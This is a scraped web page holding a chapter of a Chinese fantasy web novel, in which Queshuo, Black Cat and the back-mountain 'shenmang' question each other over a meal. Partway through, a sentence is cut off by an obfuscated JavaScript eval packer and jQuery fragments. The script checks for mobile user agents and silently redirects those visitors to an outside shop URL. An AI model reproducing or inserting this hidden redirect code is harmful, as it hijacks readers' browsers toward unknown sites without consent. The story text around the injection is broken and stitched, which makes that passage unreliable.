文趣网 > 都市小说 > 救世主今天跑路了吗? > 16.神罚
    “哗啦——哗啦——”

    树叶扇动的声音从四面八方传来,太阳在一瞬间被云挡住,周围随之暗了下来。

    却说的心也在此刻一沉。

    事情没有答案的时候,她一向喜欢做最坏的打算。

    最坏的情况,是齐耳的神力范围不止十米。

    外界应该听不到系统的声音,她在心里迅速将自己的发言过了一遍,锁定了几个关键词——系统,我的回报,交换情报。

    寺释笙没听过系统,不知道这里的神氓有没有听过。

    “怎么了?”

    弥高注意到她停了脚步,走回来问她。

    “哦,就是......”

    却说欲言又止,她抿了抿嘴,改口问:“我突然想到,你们这里应该不会因为我和黑猫在山顶站的时间太短歧视我们吧?”

    “不会啊。”弥高的脸上莫名浮现一丝尴尬,半晌,他回,“毕竟,我......我也才站了三年,是时间最短的几个人之一了。”

    “三年还不久?”

    却说还是不太习惯他们的时间尺度:“大家难道就不无......”

    “无聊”的“聊”字还没说出口,却说就看到弥高的瞳孔骤然一缩。

    男人迅速抬手,紧紧地捂住了她的嘴巴:“嘘。我知道你想说什么,但,不要说。”

    这有什么不能说的?

    却说一头雾水,刚想打掉他的手,男人就先一步松开了手。

    弥高看着她的眼睛,语气严肃:“却说,你年纪小,在山顶站的时间短,刚上去还受了伤,对那里有点偏见我也能理解,但在后山,除了个别人,我们大家都很为神降仪式骄傲的。希望你不要在我们面前说这些话。”

    却说眨眨眼,没有回话。

    不知怎的,却说总觉得此刻弥高脸上所表现出的愤怒程度,似乎和他语气里的愤怒程度并不匹配。

    下一刻,弥高微微偏头,猝不及防地看向黑猫:“而且你刚刚是不是准备抬手揍我?我都感知到了!怪不得万老大一天比一天愁,你们新来的年轻人怎么一个比一个火气旺!”

    黑猫没回,她回避似的原地转身,抬头看向了被风吹动的树叶。

    “感知?”

    却说猛然抬头:“这就是你的神力?”

    弥高的眼中突然出现了一丝她看不懂的情绪:“是预感。我的神力,是预感。”

    下一刻,男人恢复了吊儿郎当的样子:“所以别想偷袭我,知道吗?只是想想也不行!”

    “我没想偷袭你。是你实实在在地偷袭了我。”

    却说诚恳指出:“而且你带的路对吗?这都多久了还没到?还是说,那边那个门就是?”

    “门?”

    弥高望着远处隐在树林里的金色的门,脸色一沉:“怎么到离门这里了?!一定是刚刚光顾着跟你们聊天,多拐了个弯了!”

    “离门?”却说好奇地问,“那是什么门?”

    “就是下山的门。”

    弥高表情僵硬,没等却说再问,他就又道:“但也没事,反正都是往南走,我知道有条小路能穿过去,但我们要跑两步,今天三业哥在,再晚就没得吃了,你们要跟上我。”

    却说看着男人的背影,表情冷峻。

    ——弥高,你接近我的目的究竟是什么?

    *

    后山的餐厅独占了一间宽敞的茅草屋,这里从不下雨,神氓们索性将餐桌直接放在屋门口的草地上。

    想着这两天新来了不少人,万老大派三业又搬了一张桌子出来,如今门口三三一排紧密放着六张长桌,桌子并列起来几乎要跟餐厅一样宽。明明已经过了饭点,桌边却仍密密麻麻坐着人。

    一个男人从茅草屋里走出来,他看上去四十多岁,手拿两根长筷,白色套装外罩着一个黑色的围裙。

    他四望了一圈,塌着眼皮问离他最近的那个女人:“衔枝?弥高和新来的两个还没来吗?再烤那几颗蘑菇都要烤成灰了。”

    叫衔枝的女人有一头炸开的黑色长卷发,此刻,她撑着脑袋,一脸困倦:“那有什么关系啊,荒山叔。就算真烤焦了,你把幻象都用上了,怎么着也不会不好吃对吧。”

    被呛了一句,荒山倒也不恼,他凑近了些,盯着她脸上的黑眼圈道:“小丫头火气这么大,昨晚又失眠了?吃完了就回去呗,碗我帮你放。”

    衔枝朝前面努努嘴:“你没发现大家都吃完了但都没动吗?这不都在等着见新来的那个吗?”

    “哦,我说呢。”

    荒山环视一圈,除了三业其他人倒确实没再吃东西,大家三三两两地讨论着什么,各个面色都凝重的很。

    他思忖片刻,进屋把烤焦了的蘑菇装成两盘端了出来,在衔枝边上坐下,把较少的那盘推过去给她:“无渡那个小姑娘一直不出门也不是个事,这份我放的幻象还多些,你给她送到门口吧,吃了估计心情多少还能好点。”

    话音刚落,三业就伸来了筷子:“荒山叔,这是剩的不?”

    荒山似笑非笑地看着他:“这是给弥高、黑猫、还有新来的那个却说留的。你要吃吗?”

    “不,不用了。”

    三业光速伸回了筷子,抖得衔枝哈哈大笑。

    她撑着脑袋,往前探了探:“不是吧三业,你的神力不是力量吗?怎么还这么怕那个新来的?”

    荒山笑了,一脸了然:“你没听说吗?她的神力大概率很强,说不定跟万老大一个级别。”

    “真的假的?!”衔枝瞪大了眼睛。

    下一刻,她的面前就哆哆嗦嗦地横上三业的一双筷子:“她......她来了。”

    一时间,桌边鸦雀无声,神氓们齐刷刷地顺着三业筷子指的方向望了过去——

    左边是仍旧面无表情的黑猫,右边是满头是汗一脸惊诧的弥高,中间那个正撑着腿弯着腰的,应该就是……却说?

    黑猫迎着众人的目光直奔餐厅,几秒钟再出来,手里已经拿好了三副碗筷,大喇喇往荒山身边一坐就开始吃蘑菇。

    “不是都吃完了,怎么还不走?等我呢?”

    弥高露出一丝羞惭的微笑,憨厚地摆摆手:“不,不用这么客气。”

    他的视线转了一圈,突然定在桌尽头的空位上:“哎?万老大呢?她不是说要来吃饭吗?”

    “哦,她说今天不来了,雾睨捡到的那个女孩醒了,万老大直接去看她了。”

    衔枝草草答了一句,眼睛却直勾勾地看向他旁边的女人:“你……就是却说吧,来这边吃饭吧?”

    一路跑过来,却说刚刚才喘匀了气,刚一抬头就看到齐刷刷望过来的无数双眼睛:“额……?”

    她有些尴尬地走过去,贴着黑猫坐下,低头看了看盘子里那坨黑漆漆的玩意,又看了眼面无表情进食的黑猫,攒了个笑容:“我手还没好,吃不了。你们俩多吃点哈哈。”

    “那个......既然你不吃,我们能问你几个问题吗?”

    却说正对面的那个一头乱发的女人问。

    却说微微外头,余光刚好看到那个属于万悻的空位,一时间,她的嘴角弯了弯——

    万姐,别怪我,谁让你刚巧不在,这实在是机不可失啊......

    “可以啊。不过,想听我回答的人一会儿要在纸上给我写下自己的名字和神力,可以接受吗?如果不能接受的,现在可以先走。”

    一时间,桌边安静了。

    却说环视四周,满满一桌人,竟一个也没站起来。

    她歪歪头:“确定不走?”

    大家纷纷点头。

    却说心中一喜,面上不动声色地看向那个黑发女人:“问吧。从你开始。”

    “我是衔枝。”黑发女人放下撑着头的手,坐直后郑重地开口:“子弹真是从山下射过来的?”

    却说歪歪头,没想到竟然是这么简单的问题,但转念一想,每个人的神力本来就是公开的,他们可能也不在乎统一告诉她。

    “是的。”她点点头,看向下一个人。

    那个叫衔枝的女

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944110|212259||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人却再次开了口:“平台真的碎了?”

    却说环顾一圈,一派死寂,似乎这个叫衔枝的女人就理所当然地该代表大家提问。

    “哦,我的神力是神识互联,他们的问题刚刚都汇总给我了。”

    似乎看穿了她的疑虑,衔枝解释道。

    不是?当她的面拉小群私聊吗?!

    却说脸上的笑容僵了僵,咬着牙答:“是的。”

    “那你和黑猫是怎么一起下来的?”她接着问。

    “我不知道,这个要问黑猫。”

    却说看向身旁还在机械吃饭的女孩:“黑猫,我们是怎么一起下来的?”

    黑猫诚恳地嚼着蘑菇,答:“我背你下来的。”

    “不是,我是说,后面是不是来了新人?”

    却说看着她,认真地问。

    “没有。后面没有人。”黑猫面不改色,“那里就我们两个。”

    一时间,在场所有人的呼吸都轻了些。

    衔枝颤颤巍巍地开口:“那……你是怎么下来的?”

    “为什么下不来?那不是有条路吗?”

    黑猫似乎不知道发生了什么,茫然地抬头。

    一时间,空气凝住了。

    他们早听万老大说过,这个叫黑猫的女孩十分奇怪,但具体是怎么个奇怪却没人知道,在餐厅见到,大家只觉得她的胃口特别的好。

    如今,他们总算知道了——

    身穿怪异的黑色连体衣,对神临的规则一无所知,简直......简直就不像是接到过神谕。

    甚至,连神临的规则好像也对她全不起作用。

    衔枝的脸沉重了些:“万老大让我问你,你来这里,也是要做神?”

    黑猫歪歪头:“不是。实话说,我是来这里找人的,路上顺便救的你。但……我一直想不起来我要找的那个人究竟是谁。”

    却说环顾四周,每个神氓的脸上都写满了惊诧,似乎突然看到了太阳从西边出来。

    “你之前就知道黑猫说的这些?”衔枝突然和却说对上了眼睛,“不然怎么都不惊讶?”

    却说笑了,她倒是惊讶,但相比于她之前经历的桩桩件件,黑猫说的这些也不算是特别惊人,不就是一个失忆的人和出现了bug的规则吗?

    你们那些所谓的规则,就真的那么可信吗?

    却说顿了顿,敛起笑容认真地点点头:“惊讶。我也惊讶。”

    “你是不是还知道什么没有告诉我们?”

    衔枝突然问,不知是她自己的念头,还是谁给她传递的念头。

    却说长叹一口气:“你们有没有听过‘农场主假说’?”

    “农场主是什么?”弥高边嚼边问。

    却说这才想起来,她和这群神氓中间可是明明白白地隔着两个世界的差异,和实实在在的年岁代沟,一个不注意就会被发现自己是个外星人。

    她忙改了口:“就是有个人,叫农场主,她一直定时定量地给一个生物喂食,那个生物就将此‘每天都能定时定量获得投喂’奉为准则,但突然有一天,农场主不仅没喂食,还把那个生物给吃了。”

    她看着衔枝,年轻的脸上满是残酷:“有时候看上去像是恒常的因果,其实是人们习惯的联想。天地不仁,视万物为刍狗。”

    桌边一片寂静,半晌,衔枝旁边的那个厨子颤颤巍巍地问:“你的意思是,这是神罚……?”

    “神罚?”却说愣了愣。

    她刚开始以为,神氓自称为神,就也真是这世界的神。

    但当她听到万悻说,来到后山都能得到神的馈赠获得神力时,她突然开始怀疑,在这群神氓之上,或许还有更接近神的存在。

    她迅速接入了这厨子的思维,回他:“倒也不一定是想惩罚谁,我们又没做错事。也可能是神闲得无聊了,想换个玩法。”

    全场一片寂静,衔枝的嘴巴张了又闭,正要开口,就听到后面传来一个温柔的女声——

    “请问,万姐姐说的餐厅,是在这里吗?”